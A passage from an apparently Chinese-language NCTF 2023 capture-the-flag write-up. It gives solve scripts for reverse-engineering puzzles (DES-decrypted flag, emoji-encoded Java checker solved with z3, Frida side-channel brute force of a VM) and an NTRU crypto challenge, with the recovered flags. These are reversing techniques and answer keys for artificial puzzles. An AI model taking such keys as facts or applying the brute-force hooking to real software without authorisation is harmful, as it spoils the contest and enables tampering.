        *SK++ = ((X << 15) & 0x20000000) | ((X << 17) & 0x10000000)
            | ((X << 10) & 0x08000000) | ((X << 22) & 0x04000000)
            | ((X >> 2) & 0x02000000) | ((X << 1) & 0x01000000)
            | ((X << 16) & 0x00200000) | ((X << 11) & 0x00100000)
            | ((X << 3) & 0x00080000) | ((X >> 6) & 0x00040000)
            | ((X << 15) & 0x00020000) | ((X >> 4) & 0x00010000)
            | ((Y >> 2) & 0x00002000) | ((Y << 8) & 0x00001000)
            | ((Y >> 14) & 0x00000808) | ((Y >> 9) & 0x00000400)
            | ((Y) & 0x00000200) | ((Y << 7) & 0x00000100)
            | ((Y >> 7) & 0x00000020) | ((Y >> 3) & 0x00000011)
            | ((Y << 2) & 0x00000004) | ((Y >> 21) & 0x00000002);
    }
}


/*
 * DES key schedule (56-bit, encryption)
 */
int des_setkey_enc(des_context* ctx, const unsigned char key[DES_KEY_SIZE])
{
    des_setkey(ctx->sk, key);

    return(0);
}

/*
 * DES key schedule (56-bit, decryption)
 */
int des_setkey_dec(des_context* ctx, const unsigned char key[DES_KEY_SIZE])
{
    int i;

    des_setkey(ctx->sk, key);

    for (i = 0; i < 16; i += 2)
    {
        SWAP(ctx->sk[i], ctx->sk[30 - i]);
        SWAP(ctx->sk[i + 1], ctx->sk[31 - i]);
    }

    return(0);
}

static void des3_set2key(uint32_t esk[96],
    uint32_t dsk[96],
    const unsigned char key[DES_KEY_SIZE * 2])
{
    int i;

    des_setkey(esk, key);
    des_setkey(dsk + 32, key + 8);

    for (i = 0; i < 32; i += 2)
    {
        dsk[i] = esk[30 - i];
        dsk[i + 1] = esk[31 - i];

        esk[i + 32] = dsk[62 - i];
        esk[i + 33] = dsk[63 - i];

        esk[i + 64] = esk[i];
        esk[i + 65] = esk[i + 1];

        dsk[i + 64] = dsk[i];
        dsk[i + 65] = dsk[i + 1];
    }
}

/*
 * Triple-DES key schedule (112-bit, encryption)
 */
int des3_set2key_enc(des3_context* ctx,
    const unsigned char key[DES_KEY_SIZE * 2])
{
    uint32_t sk[96];

    des3_set2key(ctx->sk, sk, key);
    zeroize(sk, sizeof(sk));

    return(0);
}

/*
 * Triple-DES key schedule (112-bit, decryption)
 */
int des3_set2key_dec(des3_context* ctx,
    const unsigned char key[DES_KEY_SIZE * 2])
{
    uint32_t sk[96];

    des3_set2key(sk, ctx->sk, key);
    zeroize(sk, sizeof(sk));

    return(0);
}

static void des3_set3key(uint32_t esk[96],
    uint32_t dsk[96],
    const unsigned char key[24])
{
    int i;

    des_setkey(esk, key);
    des_setkey(dsk + 32, key + 8);
    des_setkey(esk + 64, key + 16);

    for (i = 0; i < 32; i += 2)
    {
        dsk[i] = esk[94 - i];
        dsk[i + 1] = esk[95 - i];

        esk[i + 32] = dsk[62 - i];
        esk[i + 33] = dsk[63 - i];

        dsk[i + 64] = esk[30 - i];
        dsk[i + 65] = esk[31 - i];
    }
}

/*
 * Triple-DES key schedule (168-bit, encryption)
 */
int des3_set3key_enc(des3_context* ctx,
    const unsigned char key[DES_KEY_SIZE * 3])
{
    uint32_t sk[96];

    des3_set3key(ctx->sk, sk, key);
    zeroize(sk, sizeof(sk));

    return(0);
}

/*
 * Triple-DES key schedule (168-bit, decryption)
 */
int des3_set3key_dec(des3_context* ctx,
    const unsigned char key[DES_KEY_SIZE * 3])
{
    uint32_t sk[96];

    des3_set3key(sk, ctx->sk, key);
    zeroize(sk, sizeof(sk));

    return(0);
}

/*
 * DES-ECB block encryption/decryption
 */

int des_crypt_ecb(des_context* ctx,
    const unsigned char input[8],
    unsigned char output[8])
{
    int i;
    uint32_t X, Y, T, * SK;

    SK = ctx->sk;

    GET_UINT32_BE(X, input, 0);
    GET_UINT32_BE(Y, input, 4);

    DES_IP(X, Y);

    for (i = 0; i < 8; i++)
    {
        DES_ROUND(Y, X);
        DES_ROUND(X, Y);
    }

    DES_FP(Y, X);

    PUT_UINT32_BE(Y, output, 0);
    PUT_UINT32_BE(X, output, 4);

    return(0);
}

int des_crypt_ecb_dec(des_context* ctx,
    const unsigned char input[8],
    unsigned char output[8])
{
    int i;
    uint32_t X, Y, T, * SK;

    SK = &ctx->sk[31];

    GET_UINT32_BE(X, input, 0);
    GET_UINT32_BE(Y, input, 4);

    DES_IP(X, Y);

    for (i = 0; i < 8; i++)
    {
        DES_ROUND_dec(Y, X);
        DES_ROUND_dec(X, Y);
    }

    DES_FP(Y, X);

    PUT_UINT32_BE(Y, output, 0);
    PUT_UINT32_BE(X, output, 4);

    return(0);
}

#endif /* !DES_ALT */

#endif /* DES_C */

/*
 * DES-ECB buffer encryption API
 */

int main()
{
    unsigned char buff[1024] = { 0 };
    unsigned char buff2[1024] = { 0 };
    unsigned char data[1024] = { 0x28, 0x00, 0x00, 0x00, 0xE1, 0xAD, 0x16, 0x7A,0 };
    int ret, len, i;
    len = strlen((char*)data);

    unsigned int dword_355C8C[32] =
    {
      356323847,
      151527228,
      740767546,
      540020281,
      654839353,
      104150809,
      555494916,
      823934770,
      319498556,
      556078630,
      639713067,
      1026032150,
      571424011,
      103423007,
      742130971,
      84753163,
      254942750,
      553779999,
      503389954,
      574371119,
      588255527,
      203171627,
      288106789,
      540945213,
      723531839,
      723597618,
      574166844,
      841619515,
      974788401,
      119026972,
      218248763,
      354814246
    };
    des_context ctx;
    
    unsigned char table_rc[] =
    {
      0xE1, 0xAD, 0x16, 0x7A, 0xE8, 0xF7, 0xB5, 0x95, 0xFE, 0x5A,
      0x54, 0x09, 0x3D, 0x0C, 0x68, 0xBE, 0x69, 0x14, 0x56, 0x42,
      0x9B, 0x7E, 0xD7, 0x05, 0x76, 0xEA, 0xC4, 0xE9, 0x7D, 0xDE,
      0xB5, 0xA7, 0x63, 0x60, 0x83, 0x6D, 0xEA, 0x62, 0x56, 0x85,
      0x14, 0xD4, 0x78, 0x9A, 0x0D, 0xF0, 0xAD, 0xBA
    };

    for (int i = 0; i < 48; i++)
    {
        table_rc[i] ^= 'a';
    }

    unsigned char table_rc2[] =
    {
  0xFE, 0x7F, 0x45, 0xDF, 0x7D, 0x72, 0xFF, 0x53, 0xAD, 0xD6,
  0xDD, 0x0F, 0xD0, 0x48, 0xE2, 0xB1, 0x7A, 0xF8, 0x6D, 0xD8,
  0x36, 0x28, 0x75, 0xD6, 0x9B, 0xD6, 0x3A, 0x70, 0xD3, 0xB6,
  0x0B, 0x68, 0x2D, 0x61, 0xC1, 0x5D, 0x1C, 0x74, 0x8B, 0x74,
  0x84, 0xCA, 0xF3, 0x09, 0x48, 0xFA, 0x38, 0x21
    };
    unsigned char table_rc3[] =
    {
  0x7E, 0xB3, 0x32, 0xC4, 0xF4, 0xE4, 0x2B, 0xA7, 0x32, 0xED,
  0xE8, 0x67, 0x8C, 0x25, 0xEB, 0x6E, 0x72, 0x8D, 0x5A, 0xFB,
  0xCC, 0x37, 0xC3, 0xB2, 0x8C, 0x5D, 0x9F, 0xF8, 0xCF, 0x09,
  0xDF, 0xAE, 0x2F, 0x60, 0x23, 0x51, 0x97, 0x77, 0xBC, 0x90,
  0xF1, 0x7F, 0xEA, 0xF2, 0x96, 0x63, 0x94, 0x1F
    };

    for (int i = 0; i < 48; i++)
    {
        table_rc2[i] ^= table_rc3[i];
    }
    unsigned int enc[12] =
    {
      66962917,
      0xE6F19633,
      128353141,
      200512736,
      1855217324,
      641338797,
      1864328871,
      0x0C6B153D7,
      165114648,
      110265849,
      1198161622,
      1918108754
    };
    unsigned char* p = (unsigned char*)enc;
    for (int i = 0; i < 48; i++)
    {
        p[i] ^= table_rc2[i];
    }


    unsigned char buff3[1024] = { 0 };
    unsigned char buff4[1024] = { 0 };
    for (int i = 0; i < 48; i++)
    {
        buff3[i] = p[i];
    }

    for (int i = 0; i < 32; i++)
    {
        ctx.sk[i] = dword_355C8C[i];
    }
    des_crypt_ecb_dec(&ctx, buff3, buff4);
    des_crypt_ecb_dec(&ctx, buff3+8, buff4+8);
    des_crypt_ecb_dec(&ctx, buff3 + 16, buff4 + 16);
    des_crypt_ecb_dec(&ctx, buff3 + 24, buff4 + 24);
    des_crypt_ecb_dec(&ctx, buff3 + 32, buff4 + 32);
    des_crypt_ecb_dec(&ctx, buff3 + 40, buff4 + 40);
    des_crypt_ecb_dec(&ctx, buff3 + 48, buff4 + 48);
    for (int i = 0; i < 48; i++)
    {
        buff4[i+4] ^= table_rc[i];
    }
    printf("%s", buff4 + 4);
}

Jvav

import java.io.ByteArrayOutputStream;
import java.util.Arrays;
import java.util.List;
import java.util.Scanner;

public class a {
    private static final List ALLATORIxDEMO=Arrays.asList(new String[]{"\uD83D\uDE00", "\uD83D\uDE01", "\uD83D\uDE02", "\uD83E\uDD23", "\uD83D\uDE03", "\uD83D\uDE04", "\uD83D\uDE05", "\uD83D\uDE06", "\uD83D\uDE09", "\uD83D\uDE0B", "\uD83D\uDE0E", "\uD83D\uDE0D", "\uD83D\uDE18", "\uD83D\uDE17", "\uD83D\uDE19", "\uD83D\uDE1A", "\uD83D\uDE42", "\uD83E\uDD17", "\uD83E\uDD29", "\uD83E\uDD14", "\uD83E\uDD28", "\uD83D\uDE10", "\uD83D\uDE11", "\uD83D\uDE36", "\uD83D\uDE44", "\uD83D\uDE0F", "\uD83D\uDE23", "\uD83D\uDE25", "\uD83E\uDD10", "\uD83D\uDE2A", "\uD83D\uDE2B", "\uD83D\uDE34", "\uD83D\uDE0C", "\uD83D\uDE1B", "\uD83D\uDE1C", "\uD83D\uDE1D", "\uD83E\uDD24", "\uD83D\uDE12", "\uD83D\uDE13", "\uD83D\uDE14", "\uD83D\uDE15", "\uD83D\uDE43", "\uD83E\uDD11", "\uD83D\uDE32", "☹️", "\uD83D\uDE16", "\uD83D\uDE1E", "\uD83D\uDE1F", "\uD83D\uDE24", "\uD83D\uDE22", "\uD83D\uDE2D", "\uD83D\uDE26", "\uD83D\uDE27", "\uD83D\uDE28", "\uD83D\uDE29", "\uD83D\uDE2C", "\uD83D\uDE30", "\uD83D\uDE31", "\uD83D\uDE33", "\uD83E\uDD2A", "\uD83D\uDE35", "\uD83E\uDD2D", "\uD83E\uDD2B"});
    ;


    // String Decryptor: 8 succeeded, 0 failed
    public static String A(String s) {
        StackTraceElement stackTraceElement0 = new RuntimeException().getStackTrace()[1];
        int v = s.length();
        char[] arr_c = new char[v];
        int v1 = v - 1;
        int v2 = 1;
        while(v1 >= 0) {
            arr_c[v1] = (char)(s.charAt(v1) ^ "aA".charAt(v2) ^ 6);
            if(v1 - 1 < 0) {
                break;
            }

            int v3 = "aA".charAt(v2);
            --v2;
            arr_c[v1 - 1] = (char)(s.charAt(v1 - 1) ^ v3 ^ 55);
            if(v2 < 0) {
                v2 = 1;
            }

            v1 += -2;
        }

        return new String(arr_c);
    }

    // String Decryptor: 9 succeeded, 0 failed
    public static String ALLATORIxDEMO(String s) {
        StackTraceElement stackTraceElement0 = new RuntimeException().getStackTrace()[1];
        int v = s.length();
        char[] arr_c = new char[v];
        int v1 = v - 1;
        int v2 = 13;
        while(v1 >= 0) {
            arr_c[v1] = (char)(s.charAt(v1) ^ "ALLATORIxDEMOa".charAt(v2) ^ 26);
            if(v1 - 1 < 0) {
                break;
            }

            char c = (char)(s.charAt(v1 - 1) ^ "ALLATORIxDEMOa".charAt(v2) ^ 0x7B);
            --v2;
            arr_c[v1 - 1] = c;
            if(v2 < 0) {
                v2 = 13;
            }

            v1 += -2;
        }

        return new String(arr_c);
    }

    public static String ALLATORIxDEMO(byte[] arr_b) {
        StringBuilder stringBuilder0 = new StringBuilder();
        int v = (24 - (arr_b.length + 1) % 24) % 24;
        ByteArrayOutputStream byteArrayOutputStream0 = new ByteArrayOutputStream();
        byteArrayOutputStream0.write(v);
        byteArrayOutputStream0.write(arr_b, 0, arr_b.length);
        for(int v2 = 0; v2 < v; ++v2) {
            byteArrayOutputStream0.write(((int)(((byte)"NCTF2023".charAt(v2 % 8)))));
        }

        byte[] arr_b1 = byteArrayOutputStream0.toByteArray();
        int v3 = 0;
        int v4 = 0;
        for(int v1 = 0; v1 < arr_b1.length; ++v1) {
            v3 |= (arr_b1[v1] & 0xFF) << 8 - v4;
            v4 += 8;
            while(v4 >= 6) {
                int v5 = v3 >> 10 & 0x3F;
                v4 += -6;
                System.out.println((v5 >> 4 | v5 << 2) & 0x3F);
                stringBuilder0.append(((String)a.ALLATORIxDEMO.get((v5 >> 4 | v5 << 2) & 0x3F)));
                v3 <<= 6;
            }
        }

        return stringBuilder0.toString();
    }

    // String Decryptor: 9 succeeded, 0 failed
    public static String L(String s) {
        int v = s.length();
        char[] arr_c = new char[v];
        int v1 = v - 1;
        while(v1 >= 0) {
            int v2 = v1 - 1;
            arr_c[v1] = (char)(s.charAt(v1) ^ 103);
            if(v2 < 0) {
                break;
            }

            v1 = v2 - 1;
            arr_c[v2] = (char)(s.charAt(v2) ^ 84);
        }

        return new String(arr_c);
    }

    // String Decryptor: 8 succeeded, 0 failed
    public static String d(String s) {
        int v = s.length();
        char[] arr_c = new char[v];
        for(int v1 = v - 1; v1 >= 0; v1 += -2) {
            arr_c[v1] = (char)(s.charAt(v1) ^ 6);
            if(v1 - 1 < 0) {
                break;
            }

            arr_c[v1 - 1] = (char)(s.charAt(v1 - 1) ^ 70);
        }

        return new String(arr_c);
    }

    public static void main(String[] arr_s) {
        Scanner scanner0 = new Scanner(System.in);
        System.out.println("flag是什么呢？");
        String s = scanner0.nextLine();
        if((s.startsWith("flag{")) && (s.endsWith("}")) && s.length() == 42) {
            byte[] arr_b = s.substring(5, s.length() - 1).getBytes();
            for(int v = 0; v < arr_b.length; ++v) {
                arr_b[v] = (byte)(arr_b[v] ^ 51);
            }

            if(a.ALLATORIxDEMO(arr_b).equals("\uD83D\uDE09\uD83D\uDE36\uD83D\uDE0C\uD83D\uDE15\uD83D\uDE03\uD83D\uDE00\uD83D\uDE03\uD83D\uDE04\uD83D\uDE09\uD83D\uDE02\uD83D\uDE42\uD83D\uDE00\uD83E\uDD10\uD83D\uDE02\uD83E\uDD17☹️\uD83E\uDD17\uD83D\uDE10\uD83E\uDD17\uD83D\uDE31\uD83D\uDE03\uD83E\uDD23\uD83D\uDE00\uD83D\uDE18\uD83D\uDE10\uD83D\uDE04\uD83D\uDE14\uD83D\uDE04\uD83D\uDE03\uD83E\uDD23\uD83E\uDD28\uD83D\uDE0B\uD83E\uDD10\uD83D\uDE11\uD83D\uDE0C\uD83D\uDE42\uD83E\uDD17\uD83D\uDE02\uD83D\uDE0C\uD83E\uDD10\uD83D\uDE03\uD83D\uDE00\uD83E\uDD28\uD83D\uDE04\uD83E\uDD17\uD83E\uDD28\uD83D\uDE42\uD83E\uDD10\uD83D\uDE09\uD83E\uDD29\uD83D\uDE14\uD83D\uDE18\uD83D\uDE10\uD83D\uDE42\uD83D\uDE1B\uD83D\uDE0D\uD83D\uDE24\uD83D\uDE18\uD83D\uDE0C\uD83D\uDE1A\uD83D\uDE17\uD83E\uDD29\uD83D\uDE27\uD83E\uDD17")) {
                System.out.println("这是真的flag！");
            }
            else {
                System.out.println("这好像不是正确的flag~");
            }
        }
        else {
            System.out.println("Flag格式不正确！");
        }

        System.out.println("按任意键退出程序~");
        scanner0.nextLine();
        scanner0.close();
    }
}

先求enc对应的序列号

enc="\uD83D\uDE09\uD83D\uDE36\uD83D\uDE0C\uD83D\uDE15\uD83D\uDE03\uD83D\uDE00\uD83D\uDE03\uD83D\uDE04\uD83D\uDE09\uD83D\uDE02\uD83D\uDE42\uD83D\uDE00\uD83E\uDD10\uD83D\uDE02\uD83E\uDD17☹️\uD83E\uDD17\uD83D\uDE10\uD83E\uDD17\uD83D\uDE31\uD83D\uDE03\uD83E\uDD23\uD83D\uDE00\uD83D\uDE18\uD83D\uDE10\uD83D\uDE04\uD83D\uDE14\uD83D\uDE04\uD83D\uDE03\uD83E\uDD23\uD83E\uDD28\uD83D\uDE0B\uD83E\uDD10\uD83D\uDE11\uD83D\uDE0C\uD83D\uDE42\uD83E\uDD17\uD83D\uDE02\uD83D\uDE0C\uD83E\uDD10\uD83D\uDE03\uD83D\uDE00\uD83E\uDD28\uD83D\uDE04\uD83E\uDD17\uD83E\uDD28\uD83D\uDE42\uD83E\uDD10\uD83D\uDE09\uD83E\uDD29\uD83D\uDE14\uD83D\uDE18\uD83D\uDE10\uD83D\uDE42\uD83D\uDE1B\uD83D\uDE0D\uD83D\uDE24\uD83D\uDE18\uD83D\uDE0C\uD83D\uDE1A\uD83D\uDE17\uD83E\uDD29\uD83D\uDE27\uD83E\uDD17"
enc_new=[]
for i in range(0,len(enc),2):
    x=[]
    x.append(ord(enc[i]))
    x.append(ord(enc[i+1]))
    enc_new.append(x)
print(enc_new)

table=["\uD83D\uDE00", "\uD83D\uDE01", "\uD83D\uDE02", "\uD83E\uDD23", "\uD83D\uDE03", "\uD83D\uDE04", "\uD83D\uDE05",
 "\uD83D\uDE06", "\uD83D\uDE09", "\uD83D\uDE0B", "\uD83D\uDE0E", "\uD83D\uDE0D", "\uD83D\uDE18", "\uD83D\uDE17",
 "\uD83D\uDE19", "\uD83D\uDE1A", "\uD83D\uDE42", "\uD83E\uDD17", "\uD83E\uDD29", "\uD83E\uDD14", "\uD83E\uDD28",
 "\uD83D\uDE10", "\uD83D\uDE11", "\uD83D\uDE36", "\uD83D\uDE44", "\uD83D\uDE0F", "\uD83D\uDE23", "\uD83D\uDE25",
 "\uD83E\uDD10", "\uD83D\uDE2A", "\uD83D\uDE2B", "\uD83D\uDE34", "\uD83D\uDE0C", "\uD83D\uDE1B", "\uD83D\uDE1C",
 "\uD83D\uDE1D", "\uD83E\uDD24", "\uD83D\uDE12", "\uD83D\uDE13", "\uD83D\uDE14", "\uD83D\uDE15", "\uD83D\uDE43",
 "\uD83E\uDD11", "\uD83D\uDE32", "☹️", "\uD83D\uDE16", "\uD83D\uDE1E", "\uD83D\uDE1F", "\uD83D\uDE24", "\uD83D\uDE22",
 "\uD83D\uDE2D", "\uD83D\uDE26", "\uD83D\uDE27", "\uD83D\uDE28", "\uD83D\uDE29", "\uD83D\uDE2C", "\uD83D\uDE30",
 "\uD83D\uDE31", "\uD83D\uDE33", "\uD83E\uDD2A", "\uD83D\uDE35", "\uD83E\uDD2D", "\uD83E\uDD2B"]
table1=[[ord(i[0]),ord(i[1])]for i in table]

for i in range(len(enc_new)):
    for j in range(len(table1)):
        if enc_new[i]==table1[j]:
            print(j,end=',')
            break
index=[8,23,32,40,4,0,4,5,8,2,16,0,28,2,17,44,17,21,17,57,4,3,0,12,21,5,39,5,4,3,20,9,28,22,32,16,17,2,32,28,4,0,20,5,17,20,16,28,8,18,39,12,21,16,33,11,48,12,32,15,13,18,52,17,]

print(len(index))
from z3 import *
s=Solver()
inp=[BitVec(f'{i}',32) for i in range(48)]
s.add(inp[0]==11)
s.add(inp[37]==78)
s.add(inp[38]==67)
s.add(inp[39]==84)
s.add(inp[40]==70)
s.add(inp[41]==50)
s.add(inp[42]==48)
s.add(inp[43]==50)
s.add(inp[44]==51)
s.add(inp[45]==78)
s.add(inp[46]==67)
s.add(inp[47]==84)
v3=0
v4=0
x=[]
for i in range(len(inp)):
  v3|=(inp[i] & 0xFF) << 8 - v4;
  v4 += 8;
  while v4>=6:
    v5=v3>>10 &0x3f
    v4+=-6
    x.append((v5 >> 4 | v5 << 2) & 0x3F)
    v3<<=6
    v3&=0xffffffff
enc=[8,23,32,40,4,0,4,5,8,2,16,0,28,2,17,44,17,21,17,57,4,3,0,12,21,5,39,5,4,3,20,9,28,22,32,16,17,2,32,28,4,0,20,5,17,20,16,28,8,18,39,12,21,16,33,11,48,12,32,15,13,18,52,17,]

for i in range(len(x)):
  s.add(x[i]==enc[i])
print(s.check())
if s.check()==sat:
   m=s.model()
   inp=[BitVec(f'{i}',32) for i in range(48)]
   for i in inp:
     print((m[i].as_long()),end=',')

最后异或51后，去掉第一位和最后补的11位就是flag了，然后flag{}包一下

enc=[11,82,10,4,0,81,10,1,0,30,5,11,81,85,30,7,0,3,85,30,81,7,1,82,30,82,4,82,2,7,4,1,81,80,81,7,10,78,67,84,70,50,48,50,51,78,67,84,]
for i in range(len(enc)):
    enc[i]^=51
print(bytes(enc))
#b'8a973b923-68bf-430f-b42a-a7a1472bcb49}pgu\x01\x03\x01\x00}pg'
# flag{a973b923-68bf-430f-b42a-a7a1472bcb49}

ezVM

一个Vm类的题目 其中比较关键的是字符串输出和的位置

img

img

经过分析发现是单字符加密 所以可以采用测信道的方法爆破flag每一位字符

利用Frida在配置opcode的地方就行hook

img

然后统计 当输入正确字符的时候 运行该处位置的次数应该是最多的

根据这个思路 逐步爆破 运行俩小时出flag

img

CRYPTO

Signin

题目实现了标准的NTRU密码系统，参考：NTRU密码系统 - 知乎 (zhihu.com)

该给的参数都给了

image-20231224212909171

exp:

#sage
N=509
p=3
q=512
d=3
fx =  [...]
gx =  [...]
hx =  [...]
e = [...]

Rq.<x> = PolynomialRing(Zmod(q))
f = Rq(fx)
c = Rq(e)
Modq = x ^ N - 1
a = (f * c) % Modq
# print(f"a = {a}")
A = []
for i in a:
    A.append(int(i))

for i in range(len(A)):
    if A[i] > 256:
        A[i] -= 512
# print(A)


Rp.<x> = PolynomialRing(Zmod(p))
f = Rp(fx)
Mod = x ^ N - 1
Fp = (inverse_mod(f,Mod))
# print(Fp)
b = Rp(0)
for i in range(len(A)):
    b += A[i]*x^i
# print(b)

m = (Fp * b) % Mod
print(f"m = {m}")
flag = []
for i in m:
    flag.append(i)
# print(flag)
Flag = ""
for j in range(42):
    mm = flag[j*8:(j+1)*8]
    msg = ""
    for i in mm:
        msg += str(i)
    Flag += chr(int(msg,2))
print(Flag)
# NCTF{0e301384-a06c-11ee-959d-b39f60b9e252}